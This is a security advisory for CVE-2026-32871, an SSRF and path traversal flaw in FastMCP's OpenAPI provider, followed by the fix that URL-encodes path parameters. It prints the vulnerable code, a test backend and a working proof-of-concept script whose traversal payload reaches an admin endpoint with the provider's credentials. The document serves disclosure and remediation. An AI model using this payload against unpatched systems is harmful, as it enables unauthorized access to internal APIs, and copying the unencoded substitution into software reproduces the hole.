SSRF & Path Traversal Vulnerability in FastMCP OpenAPI Provider

High **jlowin** published **GHSA-vv7q-7jx5-f767** 5 days ago

Package

fastmcp (pip)

Affected versions

< 3.2.0

Patched versions

3.2.0

Description

Technical Description

The `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.

Since `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: `fastmcp/utilities/openapi/director.py`

```python
def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))
```

Root Cause

1. Path parameters are substituted directly without URL encoding
2. `urllib.parse.urljoin()` interprets `../` as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

---

Proof of Concept

Step 1: Backend API Setup

Create `internal_api.py` to simulate a vulnerable backend server:

```python
from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)
```

Step 2: Exploitation Script

Create `exploit_poc.py`:

```
import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"

    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"

    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url,
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())
```

Expected Output

```
[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}
```

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification

- **Privilege Escalation**: The attacker operates within the MCP provider's security context and credentials
- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited
- **Lateral Movement**: Internal-only services may be compromised from the network boundary

Attack Scenarios

1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints
2. **Data Theft**: Access internal databases or sensitive information endpoints
3. **Service Disruption**: Trigger destructive operations on backend services
4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials

---

Remediation

Recommended Fix

URL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.

Updated code for `_build_url()` method:

```python
import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))
```

Severity

High

CVE ID

CVE-2026-32871

Weaknesses

▶ CWE-918

Credits

 **Pr00fOf3xpl0it** Reporter

 **Jaynornj** Reporter